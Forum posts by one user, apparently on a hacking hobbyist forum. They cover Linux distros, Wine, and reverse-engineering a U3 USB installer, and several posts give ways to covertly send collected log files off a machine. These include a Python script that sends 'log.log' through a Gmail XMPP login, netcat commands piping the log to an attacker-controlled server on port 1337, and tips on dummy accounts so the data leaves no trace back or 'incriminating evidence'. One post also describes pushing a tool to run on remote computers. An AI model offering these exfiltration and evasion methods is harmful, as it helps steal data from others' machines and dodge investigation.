X3N

This explains some of the shortcuts and how to change them http://ubuntuforums.org/showthread.php?t=50794 this link shows how to create custom keyboard bindings. http://ubuntuforums.org/showthread.php?t=42404

also synctoy

i just dont see how thats useful... what you need is a single script that searches the entire computer like linux find / |grep *.doc

i have a blackberry and an htc the blackberry sucks. also coming from a company where we ran blackberrys BES really sucks... your better off with mobile exchange w/windows mobile

yes

if you want meaty then try this. http://www.linuxfromscratch.org/ if you want optimization go with gentoo if you want enterprise expeirience go with centOS. And centOS is identical to redhat. and just so everyone is clear. Mint linux is based on ubuntu just prettier. Ubuntu is a derivitave of debian.

i found some cool python code to send messages via xmppd seems to work decently... the only thing im not sure of is weather its using any encytion by default or if its plaintext... i got it to work even though im kinda new to python... heres the code... first you have to install the python modules xmppy and dnspython # Google Talk constants FROM_GMAIL_ID = "username@gmail.com" GMAIL_PASS = "yourpassword" GTALK_SERVER = "talk.google.com" TO_GMAIL_ID = "user@gmail.com" jid=xmpp.protocol.JID(FROM_GMAIL_ID) cl=xmpp.Client(jid.getDomain(),debug=[]) log=open('log.log', 'r') if not cl.connect((GTALK_SERVER,5222)): raise IOError('Can not connect to server.') if not cl.auth(jid.getNode(),GMAIL_PASS): raise IOError('Can not auth with server.') cl.send( xmpp.Message( "recipient@gmail.com" ,log.read() ) ) cl.disconnect() log.log being the name of the log file you are wanting to send.

yeah i had the same idea... i was thinking of some console based Linux messenger program... there's also the possibility of using jabber or the xmpp standard... which is the same one as gtalk uses. http://www.gnu.org/software/freetalk/ Freetalk looks promising if there is a win32 version And there's decoder programs similar to the plug in for Firefox that does gpg on your emails http://getfiregpg.org/

word... autoIT is the simplest...

started with an early version of suse linux.... then moved onto various other distro's including gentoo and centos

Yeah im not knocking your method its way more elegant than mine but it seemed just as efficient as using email... I had come up with a different great idea though. Create a dummy IM account through AIM or MSN and then send the data via that to yourself or another dummy account. That would be neat. And if your login info was compromised then it wouldnt lead back to you at all... and it would be IP and URL independent.

assuming you have control of a webserver you might as well use netcat or any decent scripting language has the capability of opening tcp sockets and then you can just write the data to a log file. Not even needing to log in to anything. And while your at it just use socat which will do an encryption of the tunnel. server machine- setup a listening netcat server nc-v -l -p 1337 target machine cat log.log | nc serveraddy 1337 another method is assuming you have control of a web server is shoot the data at it and then read the log to retrieve the information. This method i haven't tested yet but theoretically its possible. The only point of these other methods is to hide it via obscurity and not having to send any passwords or leave any incriminating evidence behind. However if anyone is running a packet sniffer they would see whats going on. Or if you were running socat at the very least they would see the origin and the destination which could get you in trouble. I still think the best case scenario is setup a dummy gmail account and then send all your data to that. Then there's no trace back unless Google got involved with an investigation.

microsoft made a nice little program called synctoy that would work.... its real easy for noobs.... rsync is the way to go if your brave and dont mind figuring out how to do it..

why not just run cs2? it seems like it works good? what does cs3 do that cs2 doesnt?

your probably better off running a virtual machine of damn vulnerable linux and hacking it via telnet yourself...

hackerslab was cool i used to go there back in the 90's free telnet hacking woot!

nevermind i found everything...

can you post a zip containing source and the rest of the files?

http://luiscosio.com/how-to-adobe-photosho...ubuntu-10-steps heres a writeup on cs2 not sure if it will work for cs3 but its worth a start... http://appdb.winehq.org/appview.php?appId=17 http://appdb.winehq.org/objectManager.php?...on&iId=6584 looks like it got crappy ratings at the appdb

if it can be run in crossover it can be run in wine you just gotta be brave enough to figure out how... haha crossover is awesome btw and the best for noobs

Did you see my topic of the version i wrote in autoit? I was considering doing it with fileinstall but hadnt gotten that far yet i wanted to get the rest of it working good. This was my next task cause i wanted to be able to push it via networking and then execute it on a remote computer... good work!!! here is a link to my topic with my code... http://hak5.org/forums/index.php?showtopic=10486

will it search the entire computer?

im still not quite clear on if you had sucessfully hex edited the executable? and if so could you maybe do a walk through. I was trying to go off your previous posts and couldn't find the location in hex-ed where the sandisk.com website is linked... i did however find that in olly debugger but im not exactly sure how to change it to what i want it to be....

here is where i found the url in olly debugger. also i found some interesting things about what system calls it uses when it runs the copy process. First the program extracts itself to a temp location C:\Documents and Settings\engineer1\Local Settings\Temp\RarSFX0 this is where the 7zip and dll files and the lpinstaller goes when you double click on the original downloaded file lpinstaller.exe the iso file gets downloaded to this location C:\Documents and Settings\engineer1\Application Data\U3\temp The download starts immediately when you start the lpinstaller.exe program. and stores the iso in the temp location till you click through all the dialog prompts. then the program reaches out to the internet and downloads the appropriate iso file depending on the brand name on your autorun.inf file. i.e. $yourbrand-autorun.iso then the program uses a windows call IRP_MJ_DEVICE_CONTROL to control the usb device and then uses the IOCTL_SCSI_PASS_THROUGH_DIRECT to write the data to the iso portion of the drive copying the iso skipping offset=0 length=512 to start the upload of the iso at offset=512 and length= 4096 and then 4096 chunks till the entire file is written to the iso partition. I would say im decent at investigating stuff but i suck at programming and hex editing. I've only just started to learn c++ but am not much further then just doing simple math with it. It seems logical enough to be able to write our own program for flashing the drive but i wouldnt even know where to start.

well when i was trying to debug it i realized that the download is a zip archive of a few files including the lpinstaller.exe so you have to extract it with 7zip first then run olly on the extracted lpinstaller... i found the location of the url but i wasnt really sure how to modify that value... im no good with hex editing... also i found out that the program checks the autorun.inf file on the iso partition and whatever you have as the brand=X3N actually is what it appends to the front of the iso name for example... brand=cruzer then it looks for cruzer-autorun.iso and brand=X3N then it looks for X3N-autorun.iso so if you customized your own autorun.inf file or have a non cruzer u3 drive you have to change the name of your file.